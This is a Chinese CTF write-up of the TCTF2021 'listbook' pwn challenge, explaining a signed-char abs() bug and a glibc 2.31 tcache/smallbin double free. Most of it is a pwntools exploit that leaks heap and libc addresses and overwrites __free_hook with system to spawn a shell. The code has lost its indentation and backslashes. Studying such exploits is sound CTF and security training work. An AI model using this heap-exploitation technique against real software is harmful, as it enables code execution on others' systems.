前言:
之前曾经有了解过libc.2.31下tc和smallbin的联合利用, 但是那次看到的是malloc与calloc的使用, 所以这次借助TCTF2021的listbook来讲讲2.31版本下tc和smallbin的doublefree利用的另一种方法.
漏洞分析:
首先是全保护都被开启了
而后我们用IDA分析一下程序
漏洞一:
在add中找到漏洞点abs8:
先来解释一下bug函数的功能: 是将name中的内容逐字节的ascii码相加所得的值取绝对值v4, 用这个值与15比较大小, 如果大于15则用16取余, 但是注意所得的v4是char类型, 它是有符号和范围的! (这件事在the-art-of-software-security-assessment一书中也被吐槽过 "程序员总是忘了他们的字符也是有符号和范围的"), 所以不可避免的我们会想到用负数来绕过, 然而什么负数在abs后不会改变嘞? 当然是负数极大值啦, 所以我们使得ascii码的和为0x80即可
然后我们再讲一下取0x80的作用: 它可以使得name_addr[-128]的地址写到name_inuse[0]和[1]上, 从而生成非零值绕过inuse检测, 从而为我们的double free创造条件
漏洞二:
在add函数中:
它申请的0x20大小空间中可以写入0x10字节的内容, 然而之后在写入link的地址时:
即在chunk+0x10写入了地址, 所以我们又有了机会泄露heap地址
解题思路:
泄露heap_base:
利用漏洞二可以很轻松的得出, 在此就不多赘述了
def get_heap_base():
Add('a'*16, 'a', 0)
Add('a'*16, 'w', 0)
Show(0)
sh.recvuntil('a'*16)
leak_heap=u64(sh.recv(6).ljust(8, 'x00'))
heap_base=leak_heap-0xb2a0
log.success('heap base: '+hex(heap_base))
Delete(0)
return heap_base
泄露libc_base:
可以先考虑填充完tc, 然后将一个0x210大小的chunk放入unsortedbin, 之后申请的0x30都会先放在这unsortedbin中, 因此便有了机会申请到largechunk, 之后用doublefree即可打印出main_arena+偏移, 从而获得libc_base:
def get_libc_base():
[Add(p64(15), 't') for i in range(8)]
Delete(15)
[Add(p64(14), 'y') for i in range(7)] #tc置空
Add(p64(13), 'n')
Add(p64(12), 'n')
[Add(p64(1), 'a') for i in range(3)]
Delete(14)
Delete(13)
Delete(1)
[Add(p64(14), 'z') for i in range(7)]
Add(p64(1), 'x')
Delete(14)
Delete(1)
Add(p64(0x80), 'a')
Show(1)
sh.recvuntil('=> ')
leak_arena=u64(sh.recv(6).ljust(8, 'x00'))
main_arena=leak_arena-1104
log.success('main arena: '+hex(main_arena))
Delete(0x80)
return main_arena
'''其实这段代码可以优化很多地方, 当时比赛没来得及去深入思考'''
利用doublefree来改写free_hook:
首先先贴一张图, 方便日后的讲解:
第一步: 先回收一下垃圾, 让heap区看起来整洁一些
第二步: 申请足够多的chunk为后来的操作做准备
第三步: 类似于泄露libc_base时的操作, 申请一个0x210大小的unsortedbin用于之后申请0x30的chunk, 这个是我的bin分布:
第四步: 构造如图的结构, 注意chunk1和chunk2要相邻(注意, 其实中间即使出现了一两个0x30大小的chunk也无所谓的)这个是我的bin分布:
chunk1和chunk2在double free之前内存分布如下:
第五步, 将chunk1申请出来, 然后在一个离chunk2不太远的地方伪造一个fakechunk, 同时在其fd和bk位置写上路人chunk的fd和bk, 为后面绕过malloc检测做准备, bin分布:
chunk1和chunk2如图:
第六步: 再次申请了0x80为name的chunk后, 很显然我们的name_inuse[1]被改变为了非零数, 从而可以再次释放, 从而doublefree
第七步: add一次, 然后改写刚申请出来的chunk2的bk为之前的fakechunk地址, fd不用动, 即use after free:
第八步: 慢慢申请直到fakechunk:
第九步: 由于fakechunk离chunk2很近, 同时fakechunk依旧是0x210大小, 所以存在对chunk2的部分uaf, 所以直接改写chunk2在tc中的fd为free_hook, 最后在free_hook上写入system的地址即可:
def get_shell(heap_base, libc_base):
#第一步:
Add(p64(0), '?')
Add(p64(1), '?')
Add(p64(5), '?')
Add(p64(12), '?')
Delete(0)
Delete(1)
Delete(5)
Delete(12)
[Add(p64(15), 'QAQ') for i in range(21)]
'''这上面的操作不过是垃圾回收'''
#第二步:
[Add(p64(9), 'aaaa'*8) for i in range(6)]
Add(p64(11), 'bbbb'*8)
Add(p64(1), 'wwww'*8)
Add(p64(2), 'm')
Add(p64(3), 'd')
Add(p64(4), 'a')
Add(p64(5), 'z')
Add(p64(7), 'z')
Add(p64(8), 'z')
[Add(p64(6), 'tttt') for i in range(7)]
#第三步:
Delete(6)
Delete(3)
Add(p64(12), 'w')#10
#第四步:
[Add(p64(6), 'w') for i in range(7)]#3
Delete(9)
Delete(11) #chunk1, 同时tc full
Delete(4)
Delete(2)
Delete(8)
Delete(1) #chunk2, 即double free的chunk
Delete(5) #路人chunk
#第五/六步:
payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0)
Add(p64(0x80), payload1)#chunk above 1
Delete(1)#tc full, 2
#第七步:
Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700))
[Add(p64(2), 'www') for i in range(7)]
#第八步
payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook'])
Add(p64(3), payload2)
#第九步
Add(p64(8), '/bin/shx00')
Add(p64(5), p64(libc_base+libc.sym['system']))
Delete(8)
完整exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./listbook')
context.binary=('./listbook')
libc=ELF('./libc-2.31.so')
#context.log_level='debug'
def Add(name, context, flag=1):
sh.recvuntil('>>')
sh.sendline('1')
sh.recvuntil('name>')
if flag:
sh.sendline(name)
else:
sh.send(name)
sh.recvuntil('content>')
''' the name ascii add together and %16 '''
sh.sendline(context)
def Delete(idx):
sh.recvuntil('>>')
sh.sendline('2')
sh.recvuntil('index>')
sh.sendline(str(idx))
def Show(idx):
sh.recvuntil('>>')
sh.sendline('3')
sh.recvuntil('index>')
sh.sendline(str(idx))
def stop():
print str(proc.pidof(sh))
pause()
def get_heap_base():
Add('a'*16, 'a', 0)
Add('a'*16, 'w', 0)
Show(0)
sh.recvuntil('a'*16)
leak_heap=u64(sh.recv(6).ljust(8, 'x00'))
heap_base=leak_heap-0xb2a0
log.success('heap base: '+hex(heap_base))
Delete(0)
return heap_base
def get_libc_base():
[Add(p64(15), 't') for i in range(8)]
Delete(15)
[Add(p64(14), 'y') for i in range(7)]
Add(p64(13), 'n')
Add(p64(12), 'n')
[Add(p64(1), 'a') for i in range(3)]
Delete(14)
Delete(13)
Delete(1)
[Add(p64(14), 'z') for i in range(7)]
Add(p64(1), 'x')
Delete(14)
Delete(1)
Add(p64(0x80), 'a')
Show(1)
sh.recvuntil('=> ')
leak_arena=u64(sh.recv(6).ljust(8, 'x00'))
main_arena=leak_arena-1104
log.success('main arena: '+hex(main_arena))
Delete(0x80)
return main_arena
def get_shell(heap_base, libc_base):
Add(p64(0), '?')
Add(p64(1), '?')
Add(p64(5), '?')
Add(p64(12), '?')
Delete(0)
Delete(1)
Delete(5)
Delete(12)
[Add(p64(15), 'QAQ') for i in range(21)]
[Add(p64(9), 'aaaa'*8) for i in range(6)]
Add(p64(11), 'bbbb'*8)
Add(p64(1), 'wwww'*8)
Add(p64(2), 'm')
Add(p64(3), 'd')
Add(p64(4), 'a')
Add(p64(5), 'z')
Add(p64(7), 'z')
Add(p64(8), 'z')
[Add(p64(6), 'tttt') for i in range(7)]
Delete(6)
#Add(p64(0x80), 'a')
Delete(3)
Add(p64(12), 'w')#10
[Add(p64(6), 'w') for i in range(7)]#3
Delete(9)
Delete(11) #for on 1
Delete(4)
Delete(2)
Delete(8)
Delete(1)
Delete(5)
#Add(p64(13), 'w')#2
#Delete(1)
payload1='x'*16*17+p64(0)+p64(0x211)+p64(heap_base+0xf820)+p64(libc_base+0x1ebde0)
Add(p64(0x80), payload1)#chunk above 1
Delete(1)#tc full, 2
Add(p64(11), p64(heap_base+0xfa60)+p64(heap_base+0xf700))
[Add(p64(2), 'www') for i in range(7)]
# payload2=p64(0)*2*18+p64(0)+p64(0x211)+p64(libc_base+libc.sym['__free_hook'])+p64(heap_base+0xb010)
payload2=p64(0)*34+p64(0)+p64(0x210)+p64(libc_base+libc.sym['__free_hook'])
Add(p64(3), payload2)
Add(p64(8), '/bin/shx00')
Add(p64(5), p64(libc_base+libc.sym['system']))
Delete(8)
def pwn():
heap_base = get_heap_base()
libc_base = get_libc_base() - 0x1ebb80
log.success('libc_base: '+hex(libc_base))
get_shell(heap_base, libc_base)
sh.interactive()
pwn()
最终效果:
文末推荐:点击图片了解CTF-PWN特训班详情
本文始发于微信公众号(合天网安实验室):ctf-pwn tc和smallbin的doublefree利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论